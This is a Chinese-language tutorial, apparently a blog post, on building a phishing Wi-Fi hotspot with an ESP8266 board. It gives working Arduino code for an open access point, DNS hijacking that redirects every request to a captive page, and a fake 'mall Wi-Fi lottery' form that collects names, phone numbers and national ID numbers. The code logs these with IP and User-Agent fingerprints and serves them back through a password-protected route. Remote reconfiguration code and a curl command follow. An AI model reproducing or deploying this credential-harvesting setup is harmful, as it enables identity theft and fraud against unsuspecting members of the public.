准备了一块ESP8266板和5v电源,预计效果是劫持之后接入自动弹窗页面后诱导输入信息,后台拿到的数据包含填写的字段和设备指纹。
有个意料外的天坑得注意,因为是拿Arduino烧的,装机后一直没重装过,所以默认下载的最新版,最新版完全找不到ESP8266 Sketch Data Upload(上传编写好的钓鱼网页),试过文件夹下载插件和多次重装也毫无反应。查了无数关键词才从社区角落看到有同样遭遇的网友,故下载老版本1.8.19才能上传。
基础页面搭建
当前网页是一个简单的商圈wifi连接成功页面,附带了一个填写个人信息抽奖的钓鱼主要模块,让目标填写的字段为姓名/手机号/身份证号;填写后有简单的表单验证逻辑,完成后点击按钮即提交。提交完之后模拟平常自己在商场连接wifi的场景,输入验证后转到常用网站导航www.baidu.com。
提交成功页面做了一个告知用户他们的信息已经成功提交,提供一个跳转到百度的自动重定向提示。
Arduino代码
初始化wifi接入点
WiFi.mode(WIFI_AP); ** **
WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); ** **
WiFi.softAP(ssid);
dns劫持
dnsServer.start(DNS_PORT, "*", apIP);
启动了DNS服务器,所有的DNS请求都会返回本地IP。无论用户请求访问哪个网站都会被重定向到当前伪造的Wi-Fi接入点的IP地址。
Web服务器配置与路由
webServer.on("/", handleRoot);
webServer.on("/submit", HTTP_POST, handleFormSubmission);
webServer.on("/pass", HTTP_GET, handleFormSubmission);
webServer.on("/key518", HTTP_GET, paw);
webServer.on("/wifi-status", HTTP_GET, handleWiFiStatus);
webServer.on("/text.html", HTTP_GET, text_r);
定义了多个URL路径和对应的处理函数,在访问根路径(/)时,调用handleRoot()函数;访问/submit路径时,提交表单数据并调用handleFormSubmission()进行处理。路由 /key518 和 /pass 用于密码验证功能,/wifi-status 用于显示Wi-Fi状态信息,包括连接的设备数量和当前的IP地址。
表单提交和处理
void handleFormSubmission() {
String name = webServer.arg("name");
String phone = webServer.arg("phone");
String id = webServer.arg("id");
if (name == "" || phone == "" || id == "") {
webServer.send(400, "text/html", "Error: All fields must be filled!");
return;
}
String userIP = webServer.client().remoteIP().toString();
String userAgent = webServer.header("User-Agent");
unsigned long timestamp = millis();
String userData = "Name: " + name + " --- Phone: " + phone + " --- ID: " + id;
userData += " --- IP: " + userIP + " --- User-Agent: " + userAgent + " --- Timestamp: " + String(timestamp);
Serial.println("User Data Collected:");
Serial.println(userData);
File logFile = SPIFFS.open("/user_data.txt", "a");
if (logFile) {
logFile.println(userData);
logFile.close();
}
data = userData;
webServer.send(200, "text/html", "Thank you for your submission!");
}
handleFormSubmission()是处理表单数据提交的部分,它从请求中获取name、phone和id字段。如果用户顺利填写则将表单数据记录到user_data.txt
文件中,并返回一个之前写的跳转页面,用户提交的数据也会被存储在data变量中。
密码验证功能
void paw() {
if (webServer.arg("key") == ppassword) {
webServer.send(200, "text/plain", data);
} else {
webServer.send(200, "text/html", responseHTML);
}
}
通过/key518
路径做了一个密码验证功能,用户必须提交正确的密码才能在网页端访问存储的用户数据,如果密码正确则返回已收集的data
。
wifi状态页面
void handleWiFiStatus() {
String status = "WiFi Status";
status += "SSID: " + WiFi.SSID() + "";
status += "IP Address: " + WiFi.localIP().toString() + "";
status += "Connected Devices: " + String(WiFi.softAPgetStationNum()) + "";
FSInfo fs_info;
SPIFFS.info(fs_info);
status += "SPIFFS Free Space: " + String(fs_info.totalBytes - fs_info.usedBytes) + " bytes";
status += "";
webServer.send(200, "text/html", status);
}
这个Wi-Fi状态页面类似一个仪表盘来展示当前Wi-Fi接入点的状态信息,能显示当前Wi-Fi接入点的名称 、IP地址、有多少设备连接了这个热点、SPIFFS文件系统剩余的存储空间。
访问限制和IP阻止
/*
if (WiFi.softAPgetStationNum() > MAX_CONNECTIONS) {
webServer.send(503, "text/html", "Connection Limit Reached. Please try again later.");
}
String clientIP = webServer.client().remoteIP().toString();
unsigned long currentTime = millis();
if (lastRequestTime.find(clientIP) != lastRequestTime.end() && (currentTime - lastRequestTime[clientIP]) < IP_BLOCK_TIME) {
if (ipAccessCount[clientIP] > MAX_REQUESTS_PER_IP) {
webServer.send(403, "text/html", "Your IP has been blocked due to excessive requests.");
return;
}
} else {
ipAccessCount[clientIP] = 0;
}
ipAccessCount[clientIP]++;
lastRequestTime[clientIP] = currentTime;
*/
防止滥用和过度请求,这个板子性能不是很好,所以很有必要针对连接数和请求次数的限制。当连接到Wi-Fi的设备数超过指定的最大连接数时就会拒绝新的连接请求,然后返回一个503,以及在短时间内超过请求次数限制的IP也会被阻止访问。
实操
烧录完之后上传网页页面。
插上电源之后连接wifi如下图,设置的ssid是测试。
连接上之后自动弹窗出之前写好的页面。
提交后跳转页面。
页面查看
DLC
远程网络修改ESP8266设备的配置,远程改新的SSID/密码/wifi配置更新。
// 处理Wi-Fi配置更新的路由
void handleWiFiConfigUpdate() {
if (webServer.arg("password") == ppassword) {
String newSSID = webServer.arg("ssid");
String newPassword = webServer.arg("wifipassword");
WiFi.softAP(newSSID.c_str(), newPassword.c_str());
WiFi.begin(newSSID.c_str(), newPassword.c_str());
webServer.send(200, "text/html", "Wi-Fi Configuration Updated Successfully!");
} else {
webServer.send(403, "text/html", "Unauthorized Access");
}
}
// 处理设备模式更新的路由
void handleModeUpdate() {
if (webServer.arg("password") == ppassword) {
String mode = webServer.arg("mode");
if (mode == "STA") {
WiFi.mode(WIFI_STA);
} else if (mode == "AP") {
WiFi.mode(WIFI_AP);
} else {
webServer.send(400, "text/html", "Invalid Mode Specified!");
return;
}
webServer.send(200, "text/html", "Success");
↑允许通过远程网络修改ESP8266设备的配置,能远程改新的SSID/密码/wifi配置更新。
curl -X POST http:///updateWiFi
-d "ssid新id"
-d "wifipassword="新密码"
-d "password=admin密码"
curl发送↑